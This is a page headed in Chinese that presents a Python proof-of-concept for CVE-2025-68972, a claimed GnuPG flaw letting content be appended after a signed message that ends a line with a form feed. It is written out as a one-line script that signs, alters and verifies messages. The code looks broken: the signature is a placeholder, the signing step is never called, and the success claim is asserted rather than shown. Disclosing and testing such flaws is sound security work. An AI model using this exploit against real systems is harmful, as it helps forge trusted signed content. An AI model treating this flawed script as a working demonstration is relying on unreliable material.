CVE-2025-68972 GnuPG签名验证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-68972 PoC - GnuPG Signature Verification Bypass This PoC demonstrates how an attacker can append arbitrary content after signed material when the original message contains \f at the end of a plaintext line. """ import subprocess import tempfile import os def create_signed_message_with_formfeed(): """ Create a signed message that contains \f at the end of a plaintext line. This is the first step for exploiting the vulnerability. """ # Original message with form feed at end of line original_message = "This is a test message.\f\nSome additional text." # Create a temporary file for the message with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as f: f.write(original_message) msg_file = f.name # Create a signed message using gpg try: result = subprocess.run( ['gpg', '--batch', '--yes', '--armor', '--sign', '--local-user', 'testkey', msg_file], capture_output=True, text=True, timeout=30 ) print(f"Signing result: {result.returncode}") print(f"Stdout: {result.stdout}") print(f"Stderr: {result.stderr}") except Exception as e: print(f"Error during signing: {e}") finally: os.unlink(msg_file) def modify_signed_message(): """ Modify a signed message by appending content after the signature block. The attack works when the plaintext portion contains \f at end of line. """ # Simulated signed message structure signed_message = """-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nOriginal message text.\f\n-----BEGIN PGP SIGNATURE-----\n\n[Base64 encoded signature]\n-----END PGP SIGNATURE-----\n\n[Malicious appended content]""" # The appended content will be processed after signature verification return signed_message def verify_modified_message(): """ Verify the modified signed message. Despite the "invalid armor" warning, signature verification succeeds. """ modified_msg = modify_signed_message() with tempfile.NamedTemporaryFile(mode='w', suffix='.asc', delete=False) as f: f.write(modified_msg) msg_file = f.name try: # This may show "invalid armor" warning but verification succeeds result = subprocess.run( ['gpg', '--batch', '--verify', msg_file], capture_output=True, text=True, timeout=30 ) print(f"Verification return code: {result.returncode}") print(f"Output: {result.stdout + result.stderr}") # Check if verification succeeded despite warning if result.returncode == 0: print("[+] Signature verification succeeded - vulnerability confirmed!") except Exception as e: print(f"Error during verification: {e}") finally: os.unlink(msg_file) if __name__ == '__main__': print("CVE-2025-68972 PoC - GnuPG Signature Verification Bypass") print("=" * 60) verify_modified_message()